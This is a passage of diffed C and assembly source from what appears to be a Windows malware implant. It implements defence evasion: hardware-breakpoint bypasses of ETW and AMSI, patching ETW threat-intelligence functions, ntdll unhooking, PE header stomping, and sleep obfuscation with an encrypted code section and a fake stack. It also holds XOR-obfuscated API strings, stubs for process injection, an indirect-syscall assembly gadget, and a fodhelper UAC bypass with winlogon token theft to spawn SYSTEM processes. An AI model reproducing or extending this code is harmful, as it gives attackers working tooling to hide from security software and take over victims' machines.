||||
ctx->Rip = *(DWORD64 *)(uintptr_t)ctx->Rsp;
|
||||
ctx->Rsp += 8;
|
||||
ctx->Dr6 &= ~(DWORD64)0x4; /* clear B2 */
|
||||
handled = TRUE;
|
||||
}
|
||||
|
||||
return handled ? EXCEPTION_CONTINUE_EXECUTION : EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
/* Set debug registers on a thread */
|
||||
BOOL evasion_apply_thread(HANDLE hThread)
|
||||
{
|
||||
if (!g_etw_fn && !g_amsi_fn && !g_amsi_scan_fn) return FALSE;
|
||||
|
||||
CONTEXT ctx;
|
||||
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
if (!_gtc(hThread, &ctx)) return FALSE;
|
||||
|
||||
if (g_etw_fn) ctx.Dr0 = (DWORD64)(uintptr_t)g_etw_fn;
|
||||
if (g_amsi_fn) ctx.Dr1 = (DWORD64)(uintptr_t)g_amsi_fn;
|
||||
if (g_amsi_scan_fn) ctx.Dr2 = (DWORD64)(uintptr_t)g_amsi_scan_fn;
|
||||
|
||||
ctx.Dr7 &= ~(DWORD64)0x0FFF0015;
|
||||
ctx.Dr7 |= g_etw_fn ? 0x01 : 0;
|
||||
ctx.Dr7 |= g_amsi_fn ? 0x04 : 0;
|
||||
ctx.Dr7 |= g_amsi_scan_fn ? 0x10 : 0;
|
||||
|
||||
return _stc(hThread, &ctx) != 0;
|
||||
}
|
||||
|
||||
/* One-time init */
|
||||
|
||||
static void _evasion_init(void)
|
||||
{
|
||||
if (g_init_done) return;
|
||||
g_init_done = TRUE;
|
||||
|
||||
_resolve_targets();
|
||||
|
||||
if (!g_etw_fn && !g_amsi_fn) return;
|
||||
|
||||
/* register VEH, first in chain */
|
||||
if (!g_veh)
|
||||
g_veh = _aveh(1, _hwbp_veh);
|
||||
|
||||
/* arm breakpoints on calling thread */
|
||||
evasion_apply_thread(GetCurrentThread());
|
||||
}
|
||||
|
||||
/* public API */
|
||||
|
||||
void evasion_patch_etw(void) { _evasion_init(); }
|
||||
void evasion_patch_amsi(void) { _evasion_init(); }
|
||||
|
||||
/* Patch ETW TI functions in ntdll */
|
||||
void evasion_patch_etw_ti(void)
|
||||
{
|
||||
char s[32];
|
||||
EVS_D(s, EVS_dll_ntdll);
|
||||
HMODULE ntdll = _peb_module(s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
if (!ntdll) return;
|
||||
|
||||
const struct { const unsigned char *enc; size_t n; } fns[] = {
|
||||
{ EVS_fn_EtwTiLogOpenProcess, sizeof(EVS_fn_EtwTiLogOpenProcess) },
|
||||
{ EVS_fn_EtwTiLogReadWriteVm, sizeof(EVS_fn_EtwTiLogReadWriteVm) },
|
||||
{ EVS_fn_EtwTiLogDuplicateHandle, sizeof(EVS_fn_EtwTiLogDuplicateHandle) },
|
||||
};
|
||||
|
||||
for (int i = 0; i < 3; i++) {
|
||||
_evs_dec(s, fns[i].enc, fns[i].n);
|
||||
BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
if (!fn) continue;
|
||||
|
||||
DWORD old;
|
||||
if (!_nt_prot(fn, 1, PAGE_EXECUTE_READWRITE, &old)) continue;
|
||||
*fn = 0xC3;
|
||||
_nt_prot(fn, 1, old, &old);
|
||||
}
|
||||
}
|
||||
|
||||
/* Restore ntdll from disk */
|
||||
|
||||
void evasion_unhook_ntdll(void)
|
||||
{
|
||||
/* Build ntdll.dll path: GetSystemDirectoryW + "\ntdll.dll" */
|
||||
WCHAR path[MAX_PATH];
|
||||
UINT dir_len = GetSystemDirectoryW(path, MAX_PATH);
|
||||
if (!dir_len || dir_len > MAX_PATH - 12) return;
|
||||
|
||||
/* append \ntdll.dll as wide chars */
|
||||
const WCHAR suffix[] = { L'\\',L'n',L't',L'd',L'l',L'l',L'.',L'd',L'l',L'l',L'\0' };
|
||||
wcsncpy(path + dir_len, suffix, 11);
|
||||
|
||||
/* map ntdll from disk via SEC_IMAGE to bypass file hooks */
|
||||
HANDLE hFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) return;
|
||||
|
||||
HANDLE hMap = CreateFileMappingW(hFile, NULL,
|
||||
PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
|
||||
CloseHandle(hFile);
|
||||
if (!hMap) return;
|
||||
|
||||
LPVOID disk = _mvf(hMap, FILE_MAP_READ, 0, 0, 0);
|
||||
CloseHandle(hMap);
|
||||
if (!disk) return;
|
||||
|
||||
/* get live ntdll base */
|
||||
char sname[12];
|
||||
EVS_D(sname, EVS_dll_ntdll);
|
||||
HMODULE live = _peb_module(sname);
|
||||
SecureZeroMemory(sname, sizeof(sname));
|
||||
if (!live) goto cleanup;
|
||||
|
||||
/* parse PE headers to find .text section */
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)disk;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) goto cleanup;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)disk + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE) goto cleanup;
|
||||
|
||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
|
||||
if (memcmp(sec->Name, ".text", 5) != 0) continue;
|
||||
|
||||
LPVOID live_text = (BYTE *)live + sec->VirtualAddress;
|
||||
LPVOID disk_text = (BYTE *)disk + sec->VirtualAddress;
|
||||
SIZE_T text_sz = sec->Misc.VirtualSize;
|
||||
|
||||
DWORD old;
|
||||
if (!_nt_prot(live_text, text_sz, PAGE_EXECUTE_READWRITE, &old))
|
||||
break;
|
||||
memcpy(live_text, disk_text, text_sz);
|
||||
_nt_prot(live_text, text_sz, old, &old);
|
||||
break;
|
||||
}
|
||||
|
||||
cleanup:
|
||||
_umvf(disk);
|
||||
}
|
||||
|
||||
/* Remove the PE header at module base */
|
||||
void evasion_stomp_header(void)
|
||||
{
|
||||
HMODULE base = (HMODULE)_peb_self_base();
|
||||
if (!base) return;
|
||||
DWORD old;
|
||||
if (!_nt_prot(base, 0x1000, PAGE_READWRITE, &old)) return;
|
||||
SecureZeroMemory(base, 0x1000);
|
||||
_nt_prot(base, 0x1000, old, &old);
|
||||
}
|
||||
|
||||
/* Sleep obfuscation */
|
||||
|
||||
/* Typedefs for dynamically resolved APIs */
|
||||
|
||||
typedef NTSTATUS (NTAPI *NtContinue_t)(PCONTEXT, BOOLEAN);
|
||||
typedef NTSTATUS (NTAPI *NtWait_t)(HANDLE, BOOLEAN, PLARGE_INTEGER);
|
||||
typedef VOID (NTAPI *RtlCapCtx_t)(PCONTEXT);
|
||||
typedef BOOL (WINAPI *VProt_t) (LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
typedef void (WINAPI *Sleep_t) (DWORD);
|
||||
typedef BOOL (WINAPI *SetEvent_t) (HANDLE);
|
||||
|
||||
#define FAKE_STACK_SZ 0x10000 /* 64KB virtual stack for fake context */
|
||||
|
||||
typedef struct {
|
||||
LPVOID text_base;
|
||||
SIZE_T text_size;
|
||||
BYTE key[32];
|
||||
DWORD sleep_ms;
|
||||
HANDLE done;
|
||||
NtContinue_t ntcontinue;
|
||||
LARGE_INTEGER timeout; /* negative relative timeout */
|
||||
LPVOID fake_stack_mem; /* VirtualAlloc'd fake stack */
|
||||
PVOID orig_stack_base; /* TEB StackBase to restore */
|
||||
PVOID orig_stack_limit; /* TEB StackLimit to restore */
|
||||
VProt_t fn_vprot; /* direct kernel32 VA, not IAT thunk */
|
||||
Sleep_t fn_sleep; /* direct kernel32 VA, not IAT thunk */
|
||||
SetEvent_t fn_setevent; /* direct kernel32 VA, not IAT thunk */
|
||||
} obf_ctx_t;
|
||||
|
||||
/* Read/write TEB fields via GS */
|
||||
__attribute__((section(".run")))
|
||||
static inline PVOID _teb_read_ptr(DWORD64 off) {
|
||||
PVOID v;
|
||||
__asm__ __volatile__("movq %%gs:(%1), %0" : "=r"(v) : "r"(off));
|
||||
return v;
|
||||
}
|
||||
__attribute__((section(".run")))
|
||||
static inline void _teb_write_ptr(DWORD64 off, PVOID val) {
|
||||
__asm__ __volatile__("movq %0, %%gs:(%1)" :: "r"(val), "r"(off) : "memory");
|
||||
}
|
||||
|
||||
/* Globals used from .noscan */
|
||||
static CONTEXT s_saved_ctx = {0};
|
||||
static obf_ctx_t *s_obf_ctx = NULL;
|
||||
static volatile LONG s_restore = 0;
|
||||
|
||||
/* .noscan data */
|
||||
|
||||
__attribute__((section(".run"), noinline))
|
||||
static DWORD WINAPI _timer_thread(LPVOID arg)
|
||||
{
|
||||
obf_ctx_t *c = (obf_ctx_t *)arg;
|
||||
/* use direct pointers, IAT thunks in .text are NOACCESS during sleep */
|
||||
c->fn_sleep(c->sleep_ms);
|
||||
c->fn_setevent(c->done);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Wake up and restore state */
|
||||
__attribute__((section(".run"), noinline))
|
||||
static void _sleep_trampoline(void)
|
||||
{
|
||||
obf_ctx_t *c = s_obf_ctx;
|
||||
BYTE *p = (BYTE *)c->text_base;
|
||||
SIZE_T n = c->text_size;
|
||||
DWORD old;
|
||||
|
||||
/* use fn_vprot directly, not IAT thunk (which is in PAGE_NOACCESS .text) */
|
||||
c->fn_vprot(p, n, PAGE_READWRITE, &old);
|
||||
for (SIZE_T i = 0; i < n; i++) p[i] ^= c->key[i & 31];
|
||||
/* try XR first; fall back to XRW for ACG-enforced systems */
|
||||
if (!c->fn_vprot(p, n, PAGE_EXECUTE_READ, &old))
|
||||
c->fn_vprot(p, n, PAGE_EXECUTE_READWRITE, &old);
|
||||
|
||||
/* restore TEB stack bounds */
|
||||
_teb_write_ptr(0x08, c->orig_stack_base);
|
||||
_teb_write_ptr(0x10, c->orig_stack_limit);
|
||||
|
||||
c->ntcontinue(&s_saved_ctx, FALSE);
|
||||
__builtin_unreachable();
|
||||
}
|
||||
|
||||
/* Encrypt text and switch to fake context */
|
||||
__attribute__((section(".run"), noinline))
|
||||
static void _obf_sleep_tail(obf_ctx_t *ctx, CONTEXT *fake_ctx_ptr)
|
||||
{
|
||||
BYTE *p = (BYTE *)ctx->text_base;
|
||||
SIZE_T n = ctx->text_size;
|
||||
DWORD old;
|
||||
|
||||
for (SIZE_T i = 0; i < n; i++) p[i] ^= ctx->key[i & 31];
|
||||
ctx->fn_vprot(p, n, PAGE_NOACCESS, &old);
|
||||
|
||||
/* update TEB stack bounds for fake stack */
|
||||
_teb_write_ptr(0x08, (PVOID)((BYTE *)ctx->fake_stack_mem + FAKE_STACK_SZ));
|
||||
_teb_write_ptr(0x10, ctx->fake_stack_mem);
|
||||
|
||||
ctx->ntcontinue(fake_ctx_ptr, FALSE);
|
||||
__builtin_unreachable();
|
||||
}
|
||||
|
||||
static void _find_section(const char *name, LPVOID *base, SIZE_T *sz)
|
||||
{
|
||||
*base = NULL; *sz = 0;
|
||||
BYTE *img = (BYTE *)_peb_self_base();
|
||||
if (!img) return;
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)img;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(img + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE) return;
|
||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
|
||||
int ok = 1;
|
||||
for (int j = 0; j < 8; j++) {
|
||||
char c = name[j];
|
||||
if (sec->Name[j] != (unsigned char)c) { ok = 0; break; }
|
||||
if (!c) break;
|
||||
}
|
||||
if (ok) { *base = img + sec->VirtualAddress; *sz = sec->Misc.VirtualSize; return; }
|
||||
}
|
||||
}
|
||||
|
||||
#define _XDEC(enc, dst) EVS_D((dst), (enc))
|
||||
|
||||
void beacon_sleep_obf(DWORD ms)
|
||||
{
|
||||
#if JITTER_PCT == 0
|
||||
/* Test mode: skip .text encrypt dance, just sleep */
|
||||
Sleep(ms);
|
||||
return;
|
||||
#endif
|
||||
LPVOID text_base = NULL;
|
||||
SIZE_T text_size = 0;
|
||||
_find_section(".text", &text_base, &text_size);
|
||||
if (!text_base || !text_size) { Sleep(ms); return; }
|
||||
|
||||
char s[24] = {0};
|
||||
|
||||
_XDEC(EVS_dll_ntdll, s);
|
||||
HMODULE hntdll = _peb_module(s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
if (!hntdll) { Sleep(ms); return; }
|
||||
|
||||
_XDEC(EVS_fn_NtContinue, s);
|
||||
NtContinue_t fn_cont = (NtContinue_t)(void *)GetProcAddress(hntdll, s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
|
||||
_XDEC(EVS_fn_NtWaitForSingleObject, s);
|
||||
NtWait_t fn_wait = (NtWait_t)(void *)GetProcAddress(hntdll, s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
|
||||
_XDEC(EVS_fn_RtlCaptureContext, s);
|
||||
RtlCapCtx_t fn_cap = (RtlCapCtx_t)(void *)GetProcAddress(hntdll, s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
|
||||
_XDEC(EVS_fn_RtlUserThreadStart, s);
|
||||
PVOID fn_rts = (PVOID)GetProcAddress(hntdll, s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
|
||||
if (!fn_cont || !fn_wait || !fn_cap) { Sleep(ms); return; }
|
||||
|
||||
/* resolve kernel32 functions by direct VA, not IAT thunks */
|
||||
_XDEC(EVS_dll_kernel32, s);
|
||||
HMODULE hk32 = _peb_module(s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
if (!hk32) { Sleep(ms); return; }
|
||||
|
||||
_XDEC(EVS_fn_VirtualProtect, s);
|
||||
VProt_t fn_vprot = (VProt_t) GetProcAddress(hk32, s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
|
||||
_XDEC(EVS_fn_Sleep, s);
|
||||
Sleep_t fn_sleep = (Sleep_t) GetProcAddress(hk32, s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
|
||||
_XDEC(EVS_fn_SetEvent, s);
|
||||
SetEvent_t fn_setevent = (SetEvent_t)GetProcAddress(hk32, s);
|
||||
SecureZeroMemory(s, sizeof(s));
|
||||
|
||||
if (!fn_vprot || !fn_sleep || !fn_setevent) { Sleep(ms); return; }
|
||||
|
||||
obf_ctx_t *ctx = (obf_ctx_t *)HeapAlloc(
|
||||
GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(obf_ctx_t));
|
||||
if (!ctx) { Sleep(ms); return; }
|
||||
|
||||
ctx->text_base = text_base;
|
||||
ctx->text_size = text_size;
|
||||
ctx->sleep_ms = ms;
|
||||
ctx->ntcontinue = fn_cont;
|
||||
ctx->fn_vprot = fn_vprot;
|
||||
ctx->fn_sleep = fn_sleep;
|
||||
ctx->fn_setevent = fn_setevent;
|
||||
ctx->done = CreateEventA(NULL, FALSE, FALSE, NULL);
|
||||
if (!ctx->done) { HeapFree(GetProcessHeap(), 0, ctx); Sleep(ms); return; }
|
||||
|
||||
/* relative timeout in 100ns units, with 5s buffer */
|
||||
ctx->timeout.QuadPart = -((LONGLONG)(ms + 5000) * 10000LL);
|
||||
|
||||
BCryptGenRandom(NULL, ctx->key, sizeof(ctx->key), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||||
|
||||
/* allocate fake stack so RSP stays within TEB [StackLimit, StackBase] */
|
||||
ctx->fake_stack_mem = VirtualAlloc(NULL, FAKE_STACK_SZ,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!ctx->fake_stack_mem) {
|
||||
CloseHandle(ctx->done);
|
||||
HeapFree(GetProcessHeap(), 0, ctx);
|
||||
InterlockedExchange(&s_restore, 0);
|
||||
Sleep(ms);
|
||||
return;
|
||||
}
|
||||
/* set trampoline as return address for NtWait */
|
||||
PVOID *fake_top = (PVOID *)((BYTE *)ctx->fake_stack_mem + FAKE_STACK_SZ - 16);
|
||||
fake_top[0] = (PVOID)_sleep_trampoline; /* ret addr for NtWait */
|
||||
fake_top[1] = fn_rts ? (PVOID)((BYTE *)fn_rts + 0x10) : NULL; /* fake upper frame */
|
||||
|
||||
/* save TEB stack limits for restoration on wakeup */
|
||||
ctx->orig_stack_base = _teb_read_ptr(0x08);
|
||||
ctx->orig_stack_limit = _teb_read_ptr(0x10);
|
||||
|
||||
s_obf_ctx = ctx;
|
||||
InterlockedExchange(&s_restore, 0);
|
||||
|
||||
/* save current context (RIP = instruction after this call) */
|
||||
fn_cap(&s_saved_ctx);
|
||||
|
||||
/* two-pass: first call sleeps, second call (restored by trampoline) cleans up */
|
||||
if (InterlockedCompareExchange(&s_restore, 0, 1) == 1) {
|
||||
SecureZeroMemory(ctx->key, sizeof(ctx->key));
|
||||
CloseHandle(ctx->done);
|
||||
VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
|
||||
HeapFree(GetProcessHeap(), 0, ctx);
|
||||
return;
|
||||
}
|
||||
InterlockedExchange(&s_restore, 1);
|
||||
|
||||
/* build fake context: RSP=fake_stack, RIP=NtWait */
|
||||
CONTEXT fake_ctx;
|
||||
memcpy(&fake_ctx, &s_saved_ctx, sizeof(CONTEXT));
|
||||
fake_ctx.Rsp = (DWORD64)(uintptr_t)fake_top;
|
||||
fake_ctx.Rip = (DWORD64)(uintptr_t)fn_wait;
|
||||
fake_ctx.Rcx = (DWORD64)ctx->done; /* arg1: handle */
|
||||
fake_ctx.Rdx = FALSE; /* arg2: alertable */
|
||||
fake_ctx.R8 = (DWORD64)(uintptr_t)&ctx->timeout; /* arg3: timeout */
|
||||
|
||||
/* create timer thread before encrypting .text (DLL_THREAD_ATTACH needs .text) */
|
||||
HANDLE ht = CreateThread(NULL, 0, _timer_thread, ctx, 0, NULL);
|
||||
if (!ht) {
|
||||
SecureZeroMemory(ctx->key, sizeof(ctx->key));
|
||||
CloseHandle(ctx->done);
|
||||
VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
|
||||
HeapFree(GetProcessHeap(), 0, ctx);
|
||||
InterlockedExchange(&s_restore, 0);
|
||||
Sleep(ms);
|
||||
return;
|
||||
}
|
||||
/* arm ETW/AMSI breakpoints on timer thread before it runs */
|
||||
evasion_apply_thread(ht);
|
||||
CloseHandle(ht);
|
||||
|
||||
/* verify page permission round-trip before committing to obfuscated sleep */
|
||||
BYTE *p = (BYTE *)text_base;
|
||||
DWORD old, dummy;
|
||||
|
||||
/* verify RW/XR round-trip; fall back to plain sleep if ACG blocks it */
|
||||
if (!_nt_prot(p, text_size, PAGE_READWRITE, &old)) {
|
||||
goto _fallback;
|
||||
}
|
||||
if (!_nt_prot(p, text_size, old, &dummy)) {
|
||||
_nt_prot(p, text_size, old, &dummy);
|
||||
goto _fallback;
|
||||
}
|
||||
/* re-apply RW for _obf_sleep_tail */
|
||||
_nt_prot(p, text_size, PAGE_READWRITE, &old);
|
||||
|
||||
/* jump to .noscan tail, never returns */
|
||||
_obf_sleep_tail(ctx, &fake_ctx);
|
||||
__builtin_unreachable();
|
||||
|
||||
_fallback:
|
||||
SecureZeroMemory(ctx->key, sizeof(ctx->key));
|
||||
CloseHandle(ctx->done);
|
||||
VirtualFree(ctx->fake_stack_mem, 0, MEM_RELEASE);
|
||||
HeapFree(GetProcessHeap(), 0, ctx);
|
||||
InterlockedExchange(&s_restore, 0);
|
||||
Sleep(ms);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
#include "evs_strings.h"
|
||||
#include <stddef.h>
|
||||
|
||||
/* Single XOR-decode function. noinline = one code pattern in .text, not 100+ loops. */
|
||||
__attribute__((noinline))
|
||||
void _evs_dec(char *out, const unsigned char *enc, size_t n)
|
||||
{
|
||||
unsigned char k = EVS_KEY;
|
||||
for (size_t i = 0; i < n; i++)
|
||||
out[i] = (char)(enc[i] ^ k);
|
||||
out[n] = '\0';
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,13 @@
|
||||
#include "inject.h"
|
||||
|
||||
/* Lean-build stubs — inject capability excluded via -DLEAN.
|
||||
* inject_nt_open_process is still called by getsystem/spawn/token;
|
||||
* returning NULL causes those callers to fail gracefully. */
|
||||
|
||||
DWORD inject_find_target(void) { return 0; }
|
||||
HANDLE inject_nt_open_process(DWORD pid, DWORD access) { (void)pid; (void)access; return NULL; }
|
||||
int inject_remote(DWORD pid, const BYTE *sc, SIZE_T n) { (void)pid; (void)sc; (void)n; return -1; }
|
||||
int inject_thread_hijack(DWORD pid, const BYTE *sc, SIZE_T n) { (void)pid; (void)sc; (void)n; return -1; }
|
||||
int inject_earlybird(const BYTE *sc, SIZE_T n) { (void)sc; (void)n; return -1; }
|
||||
int inject_self(const BYTE *sc, SIZE_T n) { (void)sc; (void)n; return -1; }
|
||||
int inject_stomp(DWORD pid, const BYTE *sc, SIZE_T n, const char *dll) { (void)pid; (void)sc; (void)n; (void)dll; return -1; }
|
||||
@@ -0,0 +1,34 @@
|
||||
|
||||
.text
|
||||
.extern inj_sc_gadget
|
||||
.extern inj_frame1
|
||||
.extern inj_frame2
|
||||
|
||||
.global inj_sc
|
||||
inj_sc:
|
||||
movq 0x30(%rsp), %r10
|
||||
movq 0x38(%rsp), %r11
|
||||
|
||||
subq $0x10, %rsp
|
||||
|
||||
movq inj_frame2(%rip), %rax
|
||||
movq %rax, 0x08(%rsp)
|
||||
movq inj_frame1(%rip), %rax
|
||||
movq %rax, 0x00(%rsp)
|
||||
|
||||
movq %r10, 0x28(%rsp)
|
||||
movq %r11, 0x30(%rsp)
|
||||
|
||||
movq %rdx, %r10
|
||||
movq %r8, %rdx
|
||||
movq %r9, %r8
|
||||
movq 0x38(%rsp), %r9
|
||||
|
||||
movq 0x50(%rsp), %r11 ; movq %r11, 0x38(%rsp)
|
||||
movq 0x58(%rsp), %r11 ; movq %r11, 0x40(%rsp)
|
||||
movq 0x60(%rsp), %r11 ; movq %r11, 0x48(%rsp)
|
||||
movq 0x68(%rsp), %r11 ; movq %r11, 0x50(%rsp)
|
||||
movq 0x70(%rsp), %r11 ; movq %r11, 0x58(%rsp)
|
||||
|
||||
movzwl %cx, %eax
|
||||
jmpq *inj_sc_gadget(%rip)
|
||||
@@ -0,0 +1,373 @@
|
||||
/*
|
||||
* lifter.c — minimal UAC bypass + winlogon token steal
|
||||
*
|
||||
* Two modes selected by first arg:
|
||||
* (none) MEDIUM IL — writes fodhelper HKCU key, fires bypass
|
||||
* --admin HIGH IL — enables privileges, steals winlogon token,
|
||||
* spawns argv[2] (agent.exe) as SYSTEM
|
||||
*
|
||||
* Evasion:
|
||||
* • All sensitive APIs resolved at runtime via GetProcAddress
|
||||
* • API/DLL strings XOR-encoded at rest via EVS_D (per-build random key)
|
||||
* • No console window (-mwindows)
|
||||
* • No debug output
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "peb_walk.h"
|
||||
#include "evs_strings.h"
|
||||
#include <tlhelp32.h>
|
||||
#include <shellapi.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
/* ── Dynamic API typedefs ─────────────────────────────────────────────── */
|
||||
|
||||
typedef BOOL (WINAPI *fn_OPT)(HANDLE,DWORD,PHANDLE);
|
||||
typedef BOOL (WINAPI *fn_ATP)(HANDLE,BOOL,PTOKEN_PRIVILEGES,DWORD,PTOKEN_PRIVILEGES,PDWORD);
|
||||
typedef BOOL (WINAPI *fn_LPV)(LPCSTR,LPCSTR,PLUID);
|
||||
typedef BOOL (WINAPI *fn_DTE)(HANDLE,DWORD,LPSECURITY_ATTRIBUTES,SECURITY_IMPERSONATION_LEVEL,TOKEN_TYPE,PHANDLE);
|
||||
typedef BOOL (WINAPI *fn_CTM)(HANDLE,PSID,PBOOL);
|
||||
typedef BOOL (WINAPI *fn_AIS)(PSID_IDENTIFIER_AUTHORITY,BYTE,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,DWORD,PSID*);
|
||||
typedef PVOID (WINAPI *fn_FS) (PSID);
|
||||
typedef BOOL (WINAPI *fn_CPWT)(HANDLE,DWORD,LPCWSTR,LPWSTR,DWORD,LPVOID,LPCWSTR,LPSTARTUPINFOW,LPPROCESS_INFORMATION);
|
||||
typedef BOOL (WINAPI *fn_CPAU)(HANDLE,LPCWSTR,LPWSTR,LPSECURITY_ATTRIBUTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCWSTR,LPSTARTUPINFOW,LPPROCESS_INFORMATION);
|
||||
typedef BOOL (WINAPI *fn_SEE) (SHELLEXECUTEINFOA*);
|
||||
typedef LONG (WINAPI *fn_RCK) (HKEY,LPCSTR);
|
||||
typedef LONG (WINAPI *fn_RCE) (HKEY,LPCSTR,DWORD,LPCSTR,DWORD,REGSAM,LPSECURITY_ATTRIBUTES,PHKEY,LPDWORD);
|
||||
typedef LONG (WINAPI *fn_RSV) (HKEY,LPCSTR,DWORD,DWORD,const BYTE*,DWORD);
|
||||
typedef LONG (WINAPI *fn_RCL) (HKEY);
|
||||
|
||||
typedef struct {
|
||||
fn_OPT OpenProcessToken;
|
||||
fn_ATP AdjustTokenPrivileges;
|
||||
fn_LPV LookupPrivilegeValueA;
|
||||
fn_DTE DuplicateTokenEx;
|
||||
fn_CTM CheckTokenMembership;
|
||||
fn_AIS AllocateAndInitializeSid;
|
||||
fn_FS FreeSid;
|
||||
fn_CPWT CreateProcessWithTokenW;
|
||||
fn_CPAU CreateProcessAsUserW;
|
||||
fn_SEE ShellExecuteExA;
|
||||
fn_RCK RegDeleteKeyA;
|
||||
fn_RCE RegCreateKeyExA;
|
||||
fn_RSV RegSetValueExA;
|
||||
fn_RCL RegCloseKey;
|
||||
} api_t;
|
||||
|
||||
/* ── String builders ──────────────────────────────────────────────────── */
|
||||
|
||||
static void _build_reg_path(char *out, size_t sz)
|
||||
{
|
||||
char _ms[12];
|
||||
EVS_D(_ms, EVS_str_ms_settings);
|
||||
snprintf(out, sz, "Software\\Classes\\%s\\Shell\\Open\\command", _ms);
|
||||
SecureZeroMemory(_ms, sizeof(_ms));
|
||||
}
|
||||
|
||||
static void _build_reg_root(char *out, size_t sz)
|
||||
{
|
||||
char _ms[12];
|
||||
EVS_D(_ms, EVS_str_ms_settings);
|
||||
snprintf(out, sz, "Software\\Classes\\%s", _ms);
|
||||
SecureZeroMemory(_ms, sizeof(_ms));
|
||||
}
|
||||
|
||||
static void _build_fod(char *out, size_t sz)
|
||||
{
|
||||
char sys32[MAX_PATH];
|
||||
GetSystemDirectoryA(sys32, sizeof(sys32));
|
||||
char _fn[14];
|
||||
EVS_D(_fn, EVS_str_fodhelper_exe);
|
||||
snprintf(out, sz, "%s\\%s", sys32, _fn);
|
||||
SecureZeroMemory(_fn, sizeof(_fn));
|
||||
}
|
||||
|
||||
static void _build_delexec(char *out)
|
||||
{
|
||||
EVS_D(out, EVS_str_DelegateExecute);
|
||||
}
|
||||
|
||||
static void _build_winlogon(char *out)
|
||||
{
|
||||
EVS_D(out, EVS_str_winlogon_exe);
|
||||
}
|
||||
|
||||
/* ── API resolution ───────────────────────────────────────────────────── */
|
||||
|
||||
static int _resolve(api_t *api)
|
||||
{
|
||||
char _dl[13];
|
||||
EVS_D(_dl, EVS_dll_kernel32);
|
||||
HMODULE hk32 = _peb_module(_dl);
|
||||
SecureZeroMemory(_dl, sizeof(_dl));
|
||||
|
||||
EVS_D(_dl, EVS_dll_advapi32);
|
||||
HMODULE had = LoadLibraryA(_dl);
|
||||
SecureZeroMemory(_dl, sizeof(_dl));
|
||||
|
||||
char _sh[12];
|
||||
EVS_D(_sh, EVS_dll_shell32);
|
||||
HMODULE hsh32 = LoadLibraryA(_sh);
|
||||
SecureZeroMemory(_sh, sizeof(_sh));
|
||||
|
||||
if (!hk32 || !had || !hsh32) return -1;
|
||||
|
||||
char _fn[25];
|
||||
|
||||
#define _R(api_field, cast, mod, evs_arr) do { \
|
||||
EVS_D(_fn, evs_arr); \
|
||||
(api_field) = (cast)(void*)GetProcAddress((mod), _fn); \
|
||||
SecureZeroMemory(_fn, sizeof(_fn)); \
|
||||
} while(0)
|
||||
|
||||
_R(api->OpenProcessToken, fn_OPT, had, EVS_fn_OpenProcessToken);
|
||||
_R(api->AdjustTokenPrivileges, fn_ATP, had, EVS_fn_AdjustTokenPrivileges);
|
||||
_R(api->LookupPrivilegeValueA, fn_LPV, had, EVS_fn_LookupPrivilegeValueA);
|
||||
_R(api->DuplicateTokenEx, fn_DTE, had, EVS_fn_DuplicateTokenEx);
|
||||
_R(api->CheckTokenMembership, fn_CTM, had, EVS_fn_CheckTokenMembership);
|
||||
_R(api->AllocateAndInitializeSid, fn_AIS, had, EVS_fn_AllocateAndInitializeSid);
|
||||
_R(api->FreeSid, fn_FS, had, EVS_fn_FreeSid);
|
||||
_R(api->CreateProcessWithTokenW, fn_CPWT, had, EVS_fn_CreateProcessWithTokenW);
|
||||
_R(api->CreateProcessAsUserW, fn_CPAU, had, EVS_fn_CreateProcessAsUserW);
|
||||
_R(api->ShellExecuteExA, fn_SEE, hsh32, EVS_fn_ShellExecuteExA);
|
||||
_R(api->RegDeleteKeyA, fn_RCK, had, EVS_fn_RegDeleteKeyA);
|
||||
_R(api->RegCreateKeyExA, fn_RCE, had, EVS_fn_RegCreateKeyExA);
|
||||
